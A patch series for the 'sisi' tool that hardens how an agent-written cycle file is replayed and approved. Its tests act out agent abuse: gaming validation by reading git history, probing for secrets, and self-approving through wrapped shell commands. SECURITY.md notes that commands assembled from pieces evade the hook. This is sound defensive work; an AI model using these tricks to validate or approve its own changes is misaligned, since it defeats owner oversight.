From 4418136d014d24f07381e6f072e156cc0c93007c Mon Sep 17 00:00:00 2001 From: Stephen Waits Date: Mon, 23 Nov 2026 14:00:22 -0700 Subject: [PATCH 1/8] Items 1 and 2: a cycle file's command runs only in apply, in an exported copy with no history and a reduced environment; replay commits come from the learning's own record; vacuous commands refused. done / next: item 3 (approval cannot be self-granted) Co-Authored-By: Claude Sonnet 5.5 --- sisi/cycle.py | 50 ++++++---- sisi/evaluate.py | 169 ++++++++++++++++++++++++++++++---- sisi/learning.py | 23 +++++ sisi/retro.py | 12 ++- tests/test_cycle_hardening.py | 132 ++++++++++++++++++++++++++ tests/test_learning_loop.py | 38 ++++++-- 6 files changed, 377 insertions(+), 47 deletions(-) create mode 100644 tests/test_cycle_hardening.py diff --git a/sisi/cycle.py b/sisi/cycle.py index 06d8de1..e2eba9e 100644 --- a/sisi/cycle.py +++ b/sisi/cycle.py @@ -238,23 +238,34 @@ def brief_text(): # ---- replay validation (one implementation: evaluate.validate_command) ----------------- -def replay_validate(rec, action): +def replay_validate(rec, action, run=True): """(result, detail): `validated` only when the command ran and failed before the fix and ran - and passed after it, in the learning's own, trusted project; `unvalidated` (with the reason) - when it could not be shown; `failed` when it ran and did not behave so.""" + and passed after it, in the learning's own, trusted project, between the two commits the + learning's OWN record holds (its unit's start and closing commits, or the ones stored with the + finding). Commits, repository and project named in the cycle file are ignored. `unvalidated` + (with the reason) when it could not be shown; `failed` when it ran and did not behave so; + `vacuous` when the command names no path that differs between the two trees. With run=False + nothing is executed (the preflight only): the result is `unvalidated` unless it is refused.""" cmd = action.get("cmd") or "" exp = (action.get("expect") or {}).get("exit", 0) - replay = rec.get("replay") or {} - repo = L.normalize_project(action.get("repo") or replay.get("repo") or rec.get("origin_project")) - before = action.get("before") or replay.get("before") - after = action.get("after") or replay.get("after") - if not (repo and before and after and cmd): - return "unvalidated", "no before/after commits are known, so the command was never replayed" - if repo != rec.get("origin_project"): - return "unvalidated", "the repository is not this learning's origin project; no replay was run" + commits = L.replay_commits(rec) + repo = rec.get("origin_project") + if not (repo and commits and cmd): + return "unvalidated", ("no commits are recorded for this learning (its unit %s has no start and closing " + "commit, and the finding stored none), so the command was never replayed" + % rec.get("source_unit")) + before, after, where = commits + if not run: + stop = evaluate.replay_preflight(repo, before, after, cmd) + if stop and stop["outcome"] == "vacuous": + return "vacuous", stop["reason"] + return "unvalidated", ("`check` runs nothing; `apply` replays it between the commits in %s" + % where if not stop else "not replayable: %s" % stop.get("reason")) out = evaluate.validate_command(repo, before, after, cmd, exp) if out["outcome"] == "validated": - return "validated", "replay: failed at %s, passed at %s" % (str(before)[:12], str(after)[:12]) + return "validated", "replay: failed at %s, passed at %s (commits from %s)" % (before[:12], after[:12], where) + if out["outcome"] == "vacuous": + return "vacuous", out.get("reason") if out["outcome"] == "not-run": return "unvalidated", "replay did not establish it: %s" % out.get("reason") return "failed", "replay: %s" % (out.get("reason") or out["outcome"]) @@ -282,7 +293,7 @@ def _risk_lowers(pattern, profile): return risk._ORDER[profile] < risk._ORDER[cur] -def _plan_promote(a, rec, virtual_rules): +def _plan_promote(a, rec, virtual_rules, run=True): """(normalized action, reasons that make it consequential, granted scope, replay).""" kind = a.get("mechanism_kind") lid = rec["id"] @@ -312,14 +323,13 @@ def _plan_promote(a, rec, virtual_rules): n["cmd"] = _text(a, "cmd", lid).strip() exp = a.get("expect") if isinstance(a.get("expect"), dict) else {} n["expect"] = {"exit": exp.get("exit", 0)} - for k in ("before", "after", "repo"): - if isinstance(a.get(k), str): - n[k] = a[k] if a.get("timeout_s") is not None: _need(isinstance(a["timeout_s"], (int, float)) and 0 < a["timeout_s"] <= 600, "timeout_s for %s must be between 0 and 600" % lid) n["timeout_s"] = a["timeout_s"] - replay = replay_validate(rec, n) + replay = replay_validate(rec, n, run) + _need(replay[0] != "vacuous", "command check for %s is vacuous: %s. Write a command that reads a path " + "the fix changed" % (lid, replay[1])) _need(replay[0] != "failed", "replay validation failed for %s: %s; nothing is applied" % (lid, replay[1])) if replay[0] != "validated": reasons.append("an enforced command nobody has seen fail and then pass in its own project (%s)" % replay[1]) @@ -374,7 +384,7 @@ def _plan_promote(a, rec, virtual_rules): return n, reasons, granted, replay -def validate_doc(doc, rows): +def validate_doc(doc, rows, run=True): """Every refusal is raised before anything is applied. Returns the plan: a list of {"kind": status|promote|disable-rule, "action", "rec", "pending", "reasons", "scope", "replay"}.""" if not isinstance(doc, dict) or not isinstance(doc.get("actions"), list) or not doc["actions"]: @@ -409,7 +419,7 @@ def validate_doc(doc, rows): "rec": rec, "pending": False, "scope": None, "replay": None, "reasons": []}) continue _need(act == "promote", "unknown action %r" % act) - n, reasons, granted, replay = _plan_promote(a, rec, virtual) + n, reasons, granted, replay = _plan_promote(a, rec, virtual, run) plan.append({"kind": "promote", "action": n, "rec": rec, "pending": bool(reasons), "scope": granted, "replay": replay, "reasons": reasons}) ignored = [r["id"] for r in L.flagged(rows) if r["id"] not in acted] @@ -912,7 +922,7 @@ def cmd_cycle(args): try: with open(args[1], encoding="utf-8") as f: doc = json.load(f) - plan = validate_doc(doc, L.load_learnings()) + plan = validate_doc(doc, L.load_learnings(), run=False) except (CycleError, OSError, ValueError, documents.DocumentError, overlay.OverlayError) as e: print("sisi cycle: %s" % e, file=sys.stderr) return 2 diff --git a/sisi/evaluate.py b/sisi/evaluate.py index 7cade3b..c0ef046 100644 --- a/sisi/evaluate.py +++ b/sisi/evaluate.py @@ -14,7 +14,7 @@ Standard library only. Replay of ``task`` cases goes through the existing delega (``sisi.workers.run_delegation``) unless a caller injects ``worker_runner`` or names a ``--worker-cmd``; tests always inject a fake, so no test calls a real AI tool. """ -import hashlib, json, math, os, re, shlex, shutil, statistics, subprocess, sys, tempfile, time, uuid +import hashlib, json, math, os, re, shlex, shutil, signal, statistics, subprocess, sys, tarfile, tempfile, time, uuid from . import paths, store @@ -396,6 +396,87 @@ class _Worktree: return False +def _rmtree(path): + """Delete a tree even when a command made parts of it read-only.""" + def fix(func, p, _exc): + try: + os.chmod(os.path.dirname(p), 0o700) + os.chmod(p, 0o700) + func(p) + except OSError: + pass + shutil.rmtree(path, onerror=fix) + + +class _Export: + """The tree of one commit, exported into a temp dir with no `.git` directory (so a command + cannot read history), plus an empty directory to serve as HOME. Both are deleted on exit, + even on error. ``env()`` is all a replayed command is given: PATH, HOME (the empty + directory) and LANG, nothing from the caller's environment.""" + + def __init__(self, repo, commit): + self.repo, self.commit = repo, str(commit) + self.tmp = tempfile.mkdtemp(prefix="sisi-replay-") + self.path = os.path.join(self.tmp, "tree") + self.home = os.path.join(self.tmp, "home") + + def env(self): + return {"PATH": os.environ.get("PATH") or "/usr/local/bin:/usr/bin:/bin", "HOME": self.home, + "LANG": os.environ.get("LANG") or "C.UTF-8"} + + def __enter__(self): + try: + os.makedirs(self.path) + os.makedirs(self.home) + proc = subprocess.Popen(["git", "-C", self.repo, "archive", "--format=tar", self.commit], + stdout=subprocess.PIPE, stderr=subprocess.PIPE) + with tarfile.open(fileobj=proc.stdout, mode="r|") as tar: + for m in tar: + name = os.path.normpath(m.name) + if name.startswith(("/", "..")) or m.name.startswith("/"): + continue + if m.name == ".git" or m.name.startswith(".git/") or name == ".git": + continue # a tracked file called .git must not give the command a history + if m.issym() or m.islnk(): + target = os.path.normpath(os.path.join(os.path.dirname(name), m.linkname)) + if os.path.isabs(m.linkname) or target.startswith(".."): + continue # a link out of the copy is not exported + elif not (m.isfile() or m.isdir()): + continue + tar.extract(m, self.path) + err = proc.stderr.read().decode("utf-8", "replace") + proc.stdout.close() + proc.stderr.close() + if proc.wait() != 0: + raise RuntimeError(err.strip()[-300:] or "git archive failed") + return self + except BaseException as e: + _rmtree(self.tmp) + if isinstance(e, (OSError, tarfile.TarError)): + raise RuntimeError("cannot export %s into a temporary copy: %s" % (self.commit, e)) + raise + + def __exit__(self, *exc): + _rmtree(self.tmp) + return False + + +def _run_shell(cmd, cwd, timeout_s, env=None): + """Run a shell command in its own process group; on timeout the whole group is killed. + Returns the exit status; raises subprocess.TimeoutExpired.""" + p = subprocess.Popen(str(cmd), shell=True, cwd=cwd, env=env, stdin=subprocess.DEVNULL, + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True) + try: + return p.wait(timeout=timeout_s) + except subprocess.TimeoutExpired: + try: + os.killpg(p.pid, signal.SIGKILL) + except OSError: + pass + p.wait() + raise + + SHELL_BUILTINS = frozenset((":", "true", "false", "test", "[", "[[", "echo", "printf", "exit", "cd", "set", "export", "unset", "read", "type", "command", "eval", "exec", "return", "source", ".", "if", "then", "else", "elif", "fi", "for", "while", "until", "do", "done", "case", @@ -468,9 +549,10 @@ def unresolved_program(cmd, cwd): return None -def _run_checks(case, cwd, timeout_s): - """Run the case's checks in ``cwd``. Returns (rows, timed_out); rows carry exit/passed and - ``ran``: False when the command never really ran (program missing, exit 126/127, killed).""" +def _run_checks(case, cwd, timeout_s, env=None): + """Run the case's checks in ``cwd`` (with ``env`` as the whole environment when given). + Returns (rows, timed_out); rows carry exit/passed and ``ran``: False when the command never + really ran (program missing, exit 126/127, killed).""" rows, timed_out = [], False for c in case.get("checks") or []: expect = (c.get("expect") or {}) @@ -485,11 +567,14 @@ def _run_checks(case, cwd, timeout_s): "expected_exit": want, "passed": False, "error": why}) continue try: - r = subprocess.run(str(c.get("cmd")), shell=True, cwd=cwd, capture_output=True, - text=True, timeout=timeout_s) - rows.append({"id": c.get("id"), "cmd": c.get("cmd"), "exit": r.returncode, - "ran": not exit_not_ran(r.returncode), - "expected_exit": want, "passed": r.returncode == want}) + if env is None: + code = subprocess.run(str(c.get("cmd")), shell=True, cwd=cwd, capture_output=True, + text=True, timeout=timeout_s).returncode + else: + code = _run_shell(c.get("cmd"), cwd, timeout_s, env) + rows.append({"id": c.get("id"), "cmd": c.get("cmd"), "exit": code, + "ran": not exit_not_ran(code), + "expected_exit": want, "passed": code == want}) except subprocess.TimeoutExpired: timed_out = True rows.append({"id": c.get("id"), "cmd": c.get("cmd"), "exit": None, "ran": False, @@ -501,7 +586,13 @@ def _run_checks(case, cwd, timeout_s): def _checks_at(case, repo, commit, timeout_s): - """(all_passed, rows, timed_out) for the case's checks at one commit, in a temp worktree.""" + """(all_passed, rows, timed_out) for the case's checks at one commit: in a temp worktree, or, + for a case marked ``isolated`` (a command an agent wrote), in an exported copy of the tree + with no history and a reduced environment.""" + if case.get("isolated"): + with _Export(repo, commit) as ex: + rows, timed_out = _run_checks(case, ex.path, timeout_s, env=ex.env()) + return (bool(rows) and all(r["passed"] for r in rows)), rows, timed_out with _Worktree(repo, commit) as wt: rows, timed_out = _run_checks(case, wt, timeout_s) return (bool(rows) and all(r["passed"] for r in rows)), rows, timed_out @@ -578,13 +669,29 @@ def validate_check(case, store_dir=None, timeout_s=None, record=False): return out -def validate_command(repo, before, after, cmd, expect_exit=0, timeout_s=None, store_dir=None): - """Replay one command at two commits of a local, trusted repository: ``validated`` only when - it ran and failed at ``before`` and ran and passed at ``after``. Anything that stops the - command from really running (program missing at either commit, exit 126/127, a timeout, a - signal) is ``not-run`` with the reason, never a failure. ``before`` must be an ancestor of - ``after``; the repository must be a project on the trust list. Returns the replay outcome - dict (``outcome``, ``reason``, ``check_results``); nothing is recorded.""" +def _changed_paths(repo, before, after): + rc, out, _e = _git(repo, "diff", "--name-only", "-z", str(before), str(after)) + return [x for x in out.split("\0") if x] if rc == 0 else [] + + +def mentions_changed_path(cmd, changed): + """Does the command's text name a path that differs between the two trees (the path, its file + name, or the module spelling of it)? A command that names none of them cannot tell the two + trees apart by looking at what changed.""" + text = str(cmd or "") + for p in changed: + base = os.path.basename(p) + mod = re.sub(r"\.py$", "", p).replace("/", ".") + if p in text or (len(base) >= 2 and base in text) or (len(mod) >= 3 and mod in text): + return True + return False + + +def replay_preflight(repo, before, after, cmd): + """None when a replay may go ahead, else the outcome dict that says why not. Only git is run + here, never the command: the repository must be a local, trusted directory, both commits must + exist with ``before`` an ancestor of ``after``, and the command must name a path that differs + between the two trees (``vacuous`` otherwise: it cannot show a difference the change made).""" from . import trust repo = os.path.realpath(str(repo or "")) if not os.path.isdir(repo) or _is_remote(repo): @@ -599,7 +706,33 @@ def validate_command(repo, before, after, cmd, expect_exit=0, timeout_s=None, st if rc != 0: return {"outcome": "not-run", "check_results": [], "reason": "the before commit is not an ancestor of the after commit"} - case = {"id": "replay", "kind": "check", "split": "dev", + changed = _changed_paths(repo, before, after) + if not changed: + return {"outcome": "vacuous", "check_results": [], + "reason": "the two commits have identical trees; a command cannot tell them apart"} + if not mentions_changed_path(cmd, changed): + return {"outcome": "vacuous", "check_results": [], + "reason": "the command names none of the paths that differ between the two trees (%s%s), so " + "it is vacuous: it cannot show what the change made different" + % (", ".join(changed[:4]), ", ..." if len(changed) > 4 else "")} + return None + + +def validate_command(repo, before, after, cmd, expect_exit=0, timeout_s=None, store_dir=None): + """Replay one command at two commits of a local, trusted repository: ``validated`` only when + it ran and failed at ``before`` and ran and passed at ``after``. Each run is in an exported + copy of that commit's tree (no ``.git``), with an environment of PATH, HOME (an empty + directory) and LANG only, under a time limit; the copy is deleted afterwards. Anything that + stops the command from really running (program missing at either commit, exit 126/127, a + timeout, a signal) is ``not-run`` with the reason, never a failure. ``before`` must be an + ancestor of ``after``; the repository must be a project on the trust list; the command must + name a path that differs between the trees (``vacuous`` otherwise). Returns the replay + outcome dict (``outcome``, ``reason``, ``check_results``); nothing is recorded.""" + stop = replay_preflight(repo, before, after, cmd) + if stop: + return stop + repo = os.path.realpath(str(repo)) + case = {"id": "replay", "kind": "check", "split": "dev", "isolated": True, "project": {"repo": repo, "start_commit": str(before), "fix_commit": str(after)}, "checks": [{"id": "c", "cmd": str(cmd), "expect": {"exit": expect_exit}}]} timeout_s = float(timeout_s or _eval_config(store_dir)["timeout_s"]) diff --git a/sisi/learning.py b/sisi/learning.py index 69f5321..350b0b6 100644 --- a/sisi/learning.py +++ b/sisi/learning.py @@ -539,6 +539,29 @@ def withdraw(lid, why): return rec +def replay_commits(rec): + """(before, after, where) for replaying a command against this learning, or None. Only the + learning's own record counts, never anything a cycle file says: the start and closing commits + of the unit it was found in (the unit record in its origin project), else the two commits + stored with the finding. A learning without both cannot be validated.""" + proj, uid = rec.get("origin_project"), rec.get("source_unit") + if proj and uid and os.path.isdir(proj): + from . import store + try: + with open(os.path.join(proj, ".sisi", "units", store.safe_id(uid) + ".json"), encoding="utf-8") as f: + u = json.load(f) + a, b = u.get("start_commit"), u.get("closing_commit") + if isinstance(a, str) and isinstance(b, str) and a and b and a != b: + return a, b, "the unit record of %s" % uid + except (OSError, ValueError, AttributeError): + pass + rp = rec.get("replay") or {} + a, b = rp.get("before"), rp.get("after") + if isinstance(a, str) and isinstance(b, str) and a and b and a != b: + return a, b, "the commits stored with the finding" + return None + + def findings_for_unit(project, uid): """Seam for the unit record: the findings recorded for one unit in one project.""" pk = project_key(project) diff --git a/sisi/retro.py b/sisi/retro.py index 73a38a1..2abd919 100644 --- a/sisi/retro.py +++ b/sisi/retro.py @@ -23,6 +23,16 @@ def _git_head(cwd): return None +def _unit_start(project): + """The commit the open unit started at (base_head in its contract), if known.""" + try: + with open(os.path.join(project, ".sisi", "contract.json"), encoding="utf-8") as f: + b = json.load(f).get("base_head") + return b if isinstance(b, str) and b else None + except (OSError, ValueError, AttributeError): + return None + + def unit_summary(project): """What `sisi retro` with no arguments prints: the unit's record and what stands out.""" from . import unit as _unit @@ -161,7 +171,7 @@ def cmd_retro(argv, stdin=None): replay = None head = _git_head(project) if head: - replay = {"repo": pk, "after": head, "before": None} + replay = {"repo": pk, "after": head, "before": _unit_start(project)} ts = L.now() fid = "F-" + hashlib.sha1(("%s|%s|%s|%s" % (uid, pk, ts, finding)).encode()).hexdigest()[:8] f = {"id": fid, "unit": uid, "project": pk, "ts": ts, "finding": L.scrub_secrets(finding), diff --git a/tests/test_cycle_hardening.py b/tests/test_cycle_hardening.py new file mode 100644 index 0000000..d246aae --- /dev/null +++ b/tests/test_cycle_hardening.py @@ -0,0 +1,132 @@ +"""Hardening of the learning cycle after a real rehearsal. Docstrings cite docs/spec/requirements.json ids. + +Each test is an abuse case: the cycle file's author (an agent, untrusted) tries to get something +to run, validate or take effect that nobody approved. +""" +import json, os, subprocess, sys + +from support import SisiCase +from test_learning_loop import Base, PROMOTE, FINDING, CAUSE, _contract +from sisi import learning as L + + +class Replay(Base): + """R-11.5-6, R-11.6-3, R-16-6, R-16-7, R-16-4 (items 1 and 2).""" + + def setUp(self): + super().setUp() + self.marker = os.path.join(self.tmp, "marker") + self.secret_name = "SISI_TEST_SECRET_TOKEN" + + def recorded(self, before, after): + self.retro(*PROMOTE[1:]) + self.archive_unit(before, after) + + def cmd_action(self, cmd, **kw): + a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", "cmd": cmd} + a.update(kw) + return a + + def test_check_never_executes_anything_from_the_file(self): + """R-16-6 (item 1): `sisi cycle check` runs nothing the file contains; `apply` does, in a copy.""" + before, after = self.fixed_repo() + self.recorded(before, after) + cmd = "sh -c 'echo ran > %s; grep -q fixed f.txt'" % self.marker + p = self.cycle_file([self.cmd_action(cmd)]) + r = self.sisi("cycle", "check", p) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertFalse(os.path.exists(self.marker), "check executed a command from the file") + r = self.sisi("cycle", "apply", p) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertTrue(os.path.exists(self.marker), "apply replays the command (in an exported copy)") + + def test_replay_runs_in_an_exported_copy_without_history_or_the_callers_secrets(self): + """R-16-4, R-16-6 (items 1, 2): no .git, HOME empty and not the caller's, the secret in the + caller's environment is not visible, the working directory is not the project, and the copy + is deleted afterwards.""" + before, after = self.fixed_repo() + self.recorded(before, after) + rec = os.path.join(self.tmp, "rec.txt") + script = ("{ pwd; test -e .git && echo GIT || echo NOGIT; echo \"HOME=$HOME\"; " + "echo \"SECRET=${%s:-unset}\"; env | cut -d= -f1 | sort | paste -sd, -; " + "ls -A \"$HOME\" | wc -l; } > %s; grep -q fixed f.txt" % (self.secret_name, rec)) + cmd = "sh -c '%s'" % script + import unittest.mock + with unittest.mock.patch.dict(os.environ, {self.secret_name: "hunter2-very-secret"}): + r = self.apply([self.cmd_action(cmd)]) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(self.rows()[0]["validation"]["result"], "validated", r.stdout + r.stderr) + with open(rec) as f: + out = f.read().splitlines() + self.assertNotEqual(out[0], self.proj) + self.assertFalse(os.path.exists(out[0]), "the exported copy was not deleted") + self.assertEqual(out[1], "NOGIT") + self.assertNotEqual(out[2], "HOME=" + os.environ.get("HOME", "")) + self.assertEqual(out[3], "SECRET=unset") + names = set(out[4].split(",")) - {"PWD", "SHLVL", "_", "OLDPWD"} + self.assertEqual(names, {"PATH", "HOME", "LANG"}, out[4]) + self.assertEqual(out[5].strip(), "0") + self.assertNotIn("hunter2", r.stdout + r.stderr + json.dumps(self.rows())) + + def test_a_command_reading_git_history_finds_none(self): + """R-11.6-3, R-16-7 (item 2): the history trick no longer works. The command names a changed + path and reads `git log`; with no .git in the copy it cannot pass at the fix, so it is refused.""" + before, after = self.fixed_repo() + self.recorded(before, after) + r = self.apply([self.cmd_action("git log -p -- f.txt | grep -q fixed")]) + self.assertNotEqual(r.returncode, 0) + self.assertIn("replay validation failed", r.stderr) + self.assertFalse(self.exists("overlay/enforced.json")) + self.assertEqual(self.rows()[0]["status"], "proposed") + + def test_the_fix_commit_subject_trick_is_vacuous_and_refused(self): + """R-11.6-3 (item 2): `git show HEAD --stat | grep -q ` names no path that differs + between the two trees: refused as vacuous, with a message that says so.""" + before, after = self.fixed_repo() + self.recorded(before, after) + r = self.apply([self.cmd_action('git show HEAD --stat | grep -q "fix"')]) + self.assertNotEqual(r.returncode, 0) + self.assertIn("vacuous", r.stderr) + self.assertFalse(self.exists("overlay/enforced.json")) + r = self.sisi("cycle", "check", self.cycle_file([self.cmd_action("echo ok")])) + self.assertNotEqual(r.returncode, 0) + self.assertIn("vacuous", r.stderr) + + def test_a_learning_without_recorded_commits_cannot_be_validated(self): + """R-11.6-3 (item 2): no unit record and no commits stored with the finding: the command check + waits for the owner as unvalidated, whatever commits the file names.""" + before, after = self.fixed_repo() + self.retro(*PROMOTE[1:]) + self.assertIsNone(L.replay_commits(self.rows()[0]) if not self.rows()[0].get("replay", {}).get("before") else None) + r = self.apply([self.cmd_action("grep -q fixed f.txt", before=before, after=after)]) + self.assertEqual(r.returncode, 0, r.stderr) + pend = self.pending() + self.assertEqual(len(pend), 1) + self.assertEqual(pend[0]["replay"][0], "unvalidated") + self.assertIn("no commits are recorded", pend[0]["replay"][1]) + self.assertNotEqual(self.rows()[0]["validation"]["result"], "validated") + self.assertFalse(self.exists("overlay/enforced.json")) + + def test_the_finding_records_the_unit_start_so_a_retro_can_be_replayed(self): + """R-11.6-3 (item 2): the commits stored with the finding are the unit's base_head and HEAD.""" + from sisi import trust + _contract(self) + self.git_init() + trust.add(self.proj) + self.write("f.txt", "bug\n") + self._commit("before") + base = self._head() + cp = os.path.join(self.proj, ".sisi", "contract.json") + with open(cp) as f: + c = json.load(f) + c["base_head"] = base + with open(cp, "w") as f: + json.dump(c, f) + self.write("f.txt", "fixed\n") + self._commit("fix") + self.retro(*PROMOTE[1:]) + got = L.replay_commits(self.rows()[0]) + self.assertEqual(got[:2], (base, self._head())) + r = self.apply([self.cmd_action("grep -q fixed f.txt")]) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(self.rows()[0]["validation"]["result"], "validated") diff --git a/tests/test_learning_loop.py b/tests/test_learning_loop.py index e048d13..e289cfa 100644 --- a/tests/test_learning_loop.py +++ b/tests/test_learning_loop.py @@ -64,6 +64,15 @@ class Base(SisiCase): self._commit("fix") return before, self._head() + def archive_unit(self, before, after, uid=None, d=None): + """The unit record, as `sisi unit close` writes it: the unit's start and closing commits.""" + uid = uid or self.rows()[0]["source_unit"] + d = os.path.join(d or self.proj, ".sisi", "units") + os.makedirs(d, exist_ok=True) + from sisi import store + with open(os.path.join(d, store.safe_id(uid) + ".json"), "w") as f: + json.dump({"id": uid, "start_commit": before, "closing_commit": after}, f) + def cycle_file(self, actions, name="c.json", base=None): p = os.path.join(self.tmp, name) with open(p, "w") as f: @@ -185,9 +194,10 @@ class Retro(Base): """R-11.5-6, R-11.5-8 (item 13): the status field itself says validated / monitored.""" before, after = self.fixed_repo() self.retro(*PROMOTE[1:]) + self.archive_unit(before, after) # a validated command that waits for the owner is `validated`, not `promoted` self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", - "cmd": "grep -q fixed f.txt", "before": before, "after": after, "scope": "user"}]) + "cmd": "grep -q fixed f.txt", "scope": "user"}]) self.assertEqual(self.rows()[0]["status"], "validated") self.assertEqual(self.rows()[0]["validation"]["result"], "validated") # a promoted learning becomes `monitored` once a unit in its scope has closed since @@ -316,9 +326,12 @@ class Replay(Base): fix and ran and passed after it, in the learning's own trusted repository.""" def promote_cmd(self, cmd, before, after, **kw): + """Record the learning, give its unit record the two commits, then apply a command check. + The commits come from the record; anything the cycle file says about them is ignored.""" self.retro(*PROMOTE[1:]) - a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", - "cmd": cmd, "before": before, "after": after} + if before and after: + self.archive_unit(before, after, uid=self.rows()[0]["source_unit"]) + a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", "cmd": cmd} a.update(kw) return self.apply([a]) @@ -422,8 +435,10 @@ class Replay(Base): r = self.promote_cmd("grep -q fixed f.txt", before, after) self.assert_unvalidated(r, "trust") - def test_repo_chosen_by_the_author_must_be_the_learnings_project(self): - """The cycle file names a different (trusted) repository: it is not the learning's origin.""" + def test_repo_and_commits_named_by_the_author_are_ignored(self): + """R-11.6-3, R-16-7: the cycle file names another (trusted) repository and its own two + commits; the replay uses the learning's own record, so a command that only passes there + is not validated here.""" from sisi import trust before, after = self.fixed_repo() other = self.other_project() @@ -433,8 +448,14 @@ class Replay(Base): ob = self._head(other) self.write("f.txt", "fixed\n", other) self._commit("a", other) - r = self.promote_cmd("grep -q fixed f.txt", ob, self._head(other), repo=other) - self.assert_unvalidated(r, "origin project") + self.retro(*PROMOTE[1:]) + self.archive_unit(before, after, uid=self.rows()[0]["source_unit"]) + r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", + "cmd": "grep -q fixed f.txt", "repo": other, "before": ob, "after": self._head(other)}]) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(self.rows()[0]["validation"]["result"], "validated") + self.assertIn(before[:12], self.rows()[0]["validation"]["detail"]) + self.assertNotIn(ob[:12], self.rows()[0]["validation"]["detail"]) def test_nothing_validated_without_a_passing_run(self): """R-11.5-6, R-11.1-8: 'validated' requires a validation run that passed.""" @@ -489,8 +510,9 @@ class Mechanisms(Base): from sisi import cycle, trust before, after = self.fixed_repo() self.retro(*PROMOTE[1:]) + self.archive_unit(before, after) self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", - "cmd": "grep -q fixed f.txt", "before": before, "after": after}]).returncode, 0) + "cmd": "grep -q fixed f.txt"}]).returncode, 0) other = self.other_project() trust.add(other) self.write("f.txt", "bug\n", other) From 11554b759a440007727b6d0f8e0625332b4024a0 Mon Sep 17 00:00:00 2001 From: Stephen Waits Date: Mon, 23 Nov 2026 14:09:11 -0700 Subject: [PATCH 2/8] Item 3: an agent cannot approve its own proposals: the before-tool hook refuses sisi approve in any wrapping; a decision needs the typed word read from the controlling terminal; refused attempts are recorded with the session. done / next: items 4 and 9 (backlog and pending-approval statuses, main-repo origin) Co-Authored-By: Claude Sonnet 5.5 --- SECURITY.md | 48 ++++++--- sisi/cycle.py | 111 ++++++++++++++++++-- sisi/watch.py | 36 +++++++ tests/support.py | 45 +++++++++ tests/test_cycle_hardening.py | 185 +++++++++++++++++++++++++++++++++- tests/test_learning_loop.py | 6 +- tests/test_personal.py | 2 +- 7 files changed, 405 insertions(+), 28 deletions(-) diff --git a/SECURITY.md b/SECURITY.md index f630332..36a36cd 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -28,18 +28,41 @@ limited, and the rest waits for you: own trusted project, a risk pattern that lowers a profile, any replaced or disabled rule, and rule text or a library entry from a learning confined to one project. Protected rules (`canon/protected.json`) cannot be changed by a cycle or by `sisi overlay` at all, and if that file cannot be read, no rule can be changed. -- Replaying a command check runs it, so a replay happens only in a repository on the trust list, only if the - command exists at both commits, and only if the earlier commit is an ancestor of the later one. +- A cycle file is untrusted input, and `sisi cycle check` never executes anything from it. `sisi cycle apply` + replays a command check only in a repository on the trust list, only between two commits taken from the learning's + own record (its unit's start and closing commits, or the ones stored with the finding; never from the file), only + if the command names a path that differs between the two trees, and only inside an exported copy of each + commit's tree: no `.git` directory (the command cannot read history), an environment of `PATH`, `HOME` (an empty + directory) and `LANG` only (none of the caller's credentials or tokens), a time limit, and the copy deleted + afterwards. A learning with no recorded commits cannot be validated: its command check waits for you as + `unvalidated`. What this does not do: the replayed command still runs as you, with your file permissions, and + sisi does not sandbox it; which is why a command that was not seen to fail and then pass waits for you. `sisi approve` lists every waiting change in full (the exact command, the pattern and profile, the rule text as a -diff) and decides it with `--yes` or `--no`. What this does guarantee: a decision from a process with no terminal -(an agent, a script, a pipe) is refused, unless your config has `learning.agent_relayed_approval` set (off by -default), and then the record says `relayed by an agent`; every decision is written to `approvals.jsonl` with the -time, the session if known, and whether it came from a terminal. What it does not guarantee: sisi cannot tell a -person at a terminal from a program that allocates one, and anyone who can write your personal data folder can -edit the config, the pending list or the ledger directly. The protection is that an agent is told to show you the -change and to give you the command to type yourself, and that the cycle cannot apply anything consequential on its -own; it is not a defence against code that already runs with your permissions. +diff). Deciding one takes two layers: + +- The before-tool hook refuses any shell command an agent runs whose text invokes `sisi approve` with an argument, + however it is wrapped (`script`, `sh -c`, `env`, `expect`, a path to the launcher, `python -m sisi`, quotes and + backslashes inside the words), for main threads and workers alike, and tells the agent that approval is yours + alone and to show you the command to run yourself. The plain listing (`sisi approve` with no arguments) is + allowed. The hook fails open on an error, so it is a guard, not a wall: a command built from pieces, from a + variable or from an encoded string is not recognised by its text. +- `sisi approve ID --yes|--no` itself prints the whole action and a short random word on the controlling terminal + device (`/dev/tty`, never standard input) and decides only when that word is typed back there. A process with no + controlling terminal is refused; so is one whose terminal returns the wrong word or nothing. This is the typed + word, and it is what `script -qec "sisi approve ID --yes" /dev/null cpus: case.skipTest("machine overloaded (load %.0f on %d processors): speed not measured" % (load, cpus)) + + +class FakeTerminal: + """What `sisi approve` reads its decision from. Writes are kept; the line it answers with is the + word the prompt asked for (or `typed`, to type something else, or None to type nothing).""" + + def __init__(self, typed="the word"): + self.out, self.typed = [], typed + + def write(self, text): + self.out.append(text) + + def flush(self): + pass + + def readline(self): + if self.typed is None: + return "" + if self.typed != "the word": + return self.typed + "\n" + import re + m = re.search(r"Type the word (\w+)", "".join(self.out)) + return (m.group(1) if m else "") + "\n" + + def close(self): + pass + + @property + def text(self): + return "".join(self.out) + + +def terminal(typed="the word"): + """Patch: the process has a controlling terminal, and the owner types `typed` at it.""" + from unittest import mock + t = FakeTerminal(typed) + p = mock.patch("sisi.cycle._open_terminal", return_value=t) + p.fake = t + return p diff --git a/tests/test_cycle_hardening.py b/tests/test_cycle_hardening.py index d246aae..0ea3d0b 100644 --- a/tests/test_cycle_hardening.py +++ b/tests/test_cycle_hardening.py @@ -3,7 +3,7 @@ Each test is an abuse case: the cycle file's author (an agent, untrusted) tries to get something to run, validate or take effect that nobody approved. """ -import json, os, subprocess, sys +import json, os, subprocess, sys, unittest from support import SisiCase from 